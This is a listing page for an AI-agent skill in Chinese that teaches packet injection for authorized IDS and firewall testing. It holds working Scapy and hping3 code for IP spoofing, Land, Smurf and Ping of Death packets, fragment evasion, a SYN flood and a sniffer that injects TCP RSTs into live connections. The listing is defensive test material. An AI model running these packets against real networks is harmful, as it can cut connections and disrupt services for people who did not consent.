performing-packet-injection-attack

在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。

9 stars

Best use case

performing-packet-injection-attack is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。

Teams using performing-packet-injection-attack should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-packet-injection-attack/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-packet-injection-attack/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-packet-injection-attack/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-packet-injection-attack Compares

Feature / Agentperforming-packet-injection-attackStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行数据包注入攻击

## 适用场景

- 通过注入应触发特定检测签名的流量来测试 IDS/IPS 规则
- 通过构造具有特定标志位、源地址和载荷的数据包来验证防火墙规则
- 评估网络协议栈对畸形数据包、分片攻击和协议违规的抵御能力
- 模拟伪造流量以测试反欺骗控制(BCP38、uRPF)
- 执行 TCP 重置注入(RST Injection),测试连接弹性和会话劫持场景

**不要用于**针对生产系统的拒绝服务攻击、伪造流量以陷害第三方,或在未获明确授权的目标网络上使用。

## 前置条件

- 明确指定目标范围和批准技术的书面授权
- 测试平台已安装 Scapy、hping3 和 Nemesis
- 用于原始套接字访问和数据包构造的 root/sudo 权限
- 目标端安装了 Wireshark 或 tcpdump 以验证数据包送达
- 了解 TCP/IP 协议内部结构、头部字段和标志位组合

## 工作流程

### 步骤 1:使用 Scapy 构造并发送基本测试数据包

```python
#!/usr/bin/env python3
"""使用 Scapy 进行授权测试的基本数据包注入示例。"""

from scapy.all import *

# TCP SYN 数据包(端口扫描模拟)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
    if response[TCP].flags == "SA":
        print(f"[*] 80 端口开放(收到 SYN-ACK)")
    elif response[TCP].flags == "RA":
        print(f"[*] 80 端口关闭(收到 RST-ACK)")

# TCP XMAS 扫描数据包(所有标志位置位)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS 数据包已发送(应触发 IDS)")

# NULL 扫描数据包(无标志位)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL 数据包已发送")

# 带自定义载荷的 ICMP 数据包
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] 自定义 ICMP 数据包已发送")

# 用于测试防火墙规则的 UDP 数据包
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
    print(f"[*] 收到来自 {response[IP].src} 的 DNS 响应")
```

### 步骤 2:IP 欺骗和反欺骗验证

```python
#!/usr/bin/env python3
"""使用伪造源 IP 数据包测试反欺骗控制。"""

from scapy.all import *

# 伪造源 IP(应被 BCP38/uRPF 拦截)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] 已发送源地址伪造为 192.0.2.100 的 SYN 包")

# Land 攻击测试(源地址 = 目标地址)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land 攻击数据包已发送(src==dst)")

# Smurf 攻击测试(带伪造源的 ICMP 广播包)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf 测试数据包已发送(ICMP 广播包)")

# IP 分片重叠测试
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)  # 重叠分片
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] 重叠 IP 分片已发送")
```

### 步骤 3:TCP 会话操控

```bash
# TCP RST 注入测试连接弹性
# 使用 hping3 发送 RST 数据包
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10

# SYN 泛洪测试(限制数量用于测试,非 DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# 注意:--flood 以最大速率发送;-c 100 限制为 100 个数据包

# 测试 TCP 窗口操控
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # 零窗口
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # 最大窗口

# 空闲扫描探测
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# 检查响应中的 IP ID 值是否可预测
```

```python
#!/usr/bin/env python3
"""TCP RST 注入,测试会话弹性。"""

from scapy.all import *

# 嗅探活跃 TCP 连接并注入 RST
def rst_inject(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
        rst = IP(
            src=pkt[IP].dst,
            dst=pkt[IP].src
        ) / TCP(
            sport=pkt[TCP].dport,
            dport=pkt[TCP].sport,
            seq=pkt[TCP].ack,
            flags="R"
        )
        send(rst, verbose=0)
        print(f"[*] RST 已注入:{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")

# 嗅探 10 个数据包并尝试 RST 注入
print("[*] 正在监听 TCP ACK 数据包以注入 RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
```

### 步骤 4:协议异常测试

```python
#!/usr/bin/env python3
"""用于 IDS/防火墙测试的协议异常数据包。"""

from scapy.all import *

target = "10.10.20.10"

# 死亡之 Ping(超大 ICMP,应被拦截)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] 死亡之 Ping 分片已发送")

# 微型分片攻击(TCP 头部跨分片)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] 微型分片攻击数据包已发送")

# 无效 TCP 标志位组合
invalid_flags = [
    ("SYN+FIN", "SF"),
    ("SYN+RST", "SR"),
    ("仅 FIN(无会话)", "F"),
    ("所有标志位", "FSRPAUEC"),
]

for name, flags in invalid_flags:
    pkt = IP(dst=target) / TCP(dport=80, flags=flags)
    send(pkt, verbose=0)
    print(f"[*] 已发送无效标志位数据包:{name}")

# 基于 TTL 的规避(数据包在到达 IDS 前过期)
# 假设 IDS 在 2 跳外,目标在 5 跳
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] 低 TTL 规避数据包已发送(TTL=3)")

# IP 选项填充
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] 带 IP 记录路由选项的数据包已发送")
```

### 步骤 5:验证 IDS 检测

```bash
# 检查 Snort/Suricata 是否触发注入数据包的告警
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
  python3 -m json.tool | head -50

# 预期 IDS 告警:
# - 检测到 XMAS 扫描(SID:2100330)
# - 检测到 NULL 扫描(SID:2100331)
# - 检测到 Land 攻击
# - 检测到 Smurf 攻击
# - 分片异常
# - 无效 TCP 标志位

# 验证防火墙是否丢弃伪造数据包
sudo iptables -L -n -v | grep -i drop

# 检查分片重组错误
dmesg | grep -i "fragment\|frag"
```

### 步骤 6:记录结果

```bash
# 生成测试结果摘要
cat > packet_injection_report.txt << 'EOF'
数据包注入测试结果
==================
日期:$(date)
目标:10.10.20.10
测试人员:安全评估团队

测试 1:TCP XMAS 扫描
  IDS 检测:是(Suricata SID 2100330)
  防火墙动作:丢弃

测试 2:IP 欺骗(192.0.2.100)
  uRPF 拦截:是(边界路由器丢包)
  IDS 检测:是(源地址不在 HOME_NET 内)

测试 3:分片重叠
  IDS 检测:是(流重组异常)
  目标响应:操作系统丢弃分片

测试 4:无效 TCP 标志位
  IDS 检测:是(SYN+FIN、SYN+RST 被标记)
  防火墙动作:丢弃
EOF
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **数据包注入(Packet Injection)** | 构造并发送具有特定头部值、载荷或标志位组合的网络数据包,以测试网络安全控制 |
| **IP 欺骗(IP Spoofing)** | 在构造数据包中设置虚假源 IP,测试反欺骗控制(BCP38、uRPF)或冒充其他主机 |
| **TCP RST 注入(TCP RST Injection)** | 发送伪造的 TCP RST 数据包以终止已建立的连接,测试会话弹性和连接重置防御 |
| **分片攻击(Fragmentation Attack)** | 利用 IP 分片将恶意载荷拆分到多个分片中,规避不重组分片的数据包检测 |
| **uRPF(单播反向路径转发)** | 路由器级别的反欺骗机制,若源 IP 无法通过入口接口路由返回则丢弃数据包 |
| **BCP38(网络入口过滤)** | 通过过滤来自不属于该网络的源地址数据包来防止边界 IP 欺骗的最佳实践 |

## 工具与系统

- **Scapy**:Python 数据包操控库,可对所有协议头部进行完全控制的任意网络数据包构造
- **hping3**:命令行数据包生成器,支持 TCP、UDP、ICMP,可控制标志位、TTL、窗口大小和数据包速率
- **Nemesis**:网络数据包注入工具,支持 Ethernet、ARP、IP、TCP、UDP、ICMP、DNS 等协议
- **tcpreplay**:以受控速率重放捕获 PCAP 文件的工具,用于针对已知流量模式测试 IDS 规则
- **Nping**:Nmap 的数据包生成工具,可构造带任意 TCP/UDP/ICMP 头部的探测包

## 常见场景

### 场景:部署后验证 IDS 规则

**背景**:SOC 团队部署了用于检测侦察和规避技术的新 Suricata 规则,需要在正式上线前验证规则是否正确触发。测试在复制生产环境的暂存环境中进行。

**方法**:
1. 使用 Scapy 构造 XMAS、NULL 和 FIN 扫描数据包并发送到测试目标,验证扫描检测规则
2. 生成带无效 TCP 标志位组合(SYN+FIN、SYN+RST)的数据包,测试协议异常规则
3. 发送超大 ICMP 数据包和分片载荷,测试分片检测规则
4. 注入带伪造源 IP 的数据包,验证反欺骗规则是否正确触发
5. 在活跃 HTTP 会话期间发送 TCP RST 注入数据包,测试会话中断检测
6. 验证所有预期的 Suricata 告警是否以正确的严重级别和元数据出现在 EVE JSON 日志中
7. 记录哪些规则触发、哪些未触发,并建议针对任何差距进行规则调优

**注意事项**:
- 注入速度过快,压垮测试网络或 IDS 传感器
- 数据包校验和计算错误,导致数据包在到达 IDS 前被静默丢弃
- 未考虑有状态防火墙会在数据包到达 IDS 检测之前丢弃非法状态数据包
- 从 NAT 后方测试导致源端口被修改,破坏构造的 TCP 序号

## 输出格式

```
## 数据包注入测试报告

**目标**:10.10.20.10(test-server-01)
**IDS 传感器**:suricata-staging-01
**测试日期**:2024-03-15

### 测试矩阵

| 测试 | 数据包类型 | 预期检测 | 实际结果 |
|------|-----------|---------|---------|
| 1 | TCP XMAS 扫描 | SID 2100330 | 已检测 |
| 2 | TCP NULL 扫描 | SID 2100331 | 已检测 |
| 3 | SYN+FIN 无效标志 | SID 2100332 | 已检测 |
| 4 | IP 伪造源 | SID 2003000 | 已检测 |
| 5 | Land 攻击 | SID 2100333 | 未检测 |
| 6 | 分片重叠 | SID 2200001 | 已检测 |
| 7 | 死亡之 Ping | SID 2100334 | 已检测 |
| 8 | TCP RST 注入 | 自定义 SID | 未检测 |

### 检测率:6/8(75%)

### 已识别的差距
1. Land 攻击(src==dst)未被检测 — 添加规则 SID 2100333
2. TCP RST 注入未被检测 — 为窗口外 RST 创建自定义规则
```

Related Skills

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。

testing-for-email-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。

recovering-from-ransomware-attack

9
from killvxk/cybersecurity-skills-zh

按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。

performing-yara-rule-development-for-detection

9
from killvxk/cybersecurity-skills-zh

通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。

performing-wireless-security-assessment-with-kismet

9
from killvxk/cybersecurity-skills-zh

使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。

performing-wireless-network-penetration-test

9
from killvxk/cybersecurity-skills-zh

执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。

performing-windows-artifact-analysis-with-eric-zimmerman-tools

9
from killvxk/cybersecurity-skills-zh

使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。

performing-wifi-password-cracking-with-aircrack

9
from killvxk/cybersecurity-skills-zh

在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。

performing-web-cache-deception-attack

9
from killvxk/cybersecurity-skills-zh

通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。